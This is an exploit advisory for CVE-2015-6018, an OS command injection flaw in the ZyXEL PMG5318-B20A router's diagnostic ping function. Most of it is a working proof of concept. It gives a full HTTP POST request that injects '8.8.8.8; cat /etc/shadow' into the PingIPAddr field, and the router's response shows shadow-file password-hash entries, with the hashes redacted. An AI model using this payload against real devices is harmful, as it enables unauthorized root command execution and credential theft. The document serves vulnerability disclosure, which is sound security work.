ZYXEL PMG5318-B20A - OS Command Injection

# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]
# Discovered by: Karn Ganeshen
# CERT VU# 870744
# Vendor Homepage: [www.zyxel.com]
# Version Reported: [Firmware version V100AANC0b5]
# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]


*Vulnerability Details*

CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input
Validation - CVE-2015-6018

The diagnostic ping function's PingIPAddr parameter in the ZyXEL
PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user
input. An attacker can execute arbitrary commands as root.

*OS Command Injection PoC*

The underlying services are run as 'root'. It therefore, allows dumping
system password hashes.

*HTTP Request*

POST /diagnostic/diagnostic_general.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101
Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP>/diagnostic/diagnostic_general.cgi
Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------
-12062103314079176991367286444
Content-Length: 451

——————————————12062103314079176991367286444
Content-Disposition: form-data; name="InfoDisplay”
——————————————12062103314079176991367286444
Content-Disposition: form-data; name="*PingIPAddr*"
*8.8.8.8; cat /etc/shadow *
——————————————12062103314079176991367286444
Content-Disposition: form-data; name="Submit"
Ping
….
*HTTP Response *
.....
<snipped>
<br class="clearfloat" />
<!-- configuration beginning -->
<div class="headline"><span class="cTitle">General</span></div> <table
width="90%" border="0" align="center" cellpadding="0" cellspacing="0"
class="cfgpadding">
<tr>
<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"
readonly="readonly”>


*root:<hash>:15986:0:99999:7:::
lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::
user:<hash>:16035:0:99999:7:::*
 &lt;/textarea&gt;</td>
</tr>
</table>
<table width="90%" border="0" align="center" cellpadding="0"
cellspacing="0" class="cfgpadding">
<tr>
-----------------------------12062103314079176991367286444--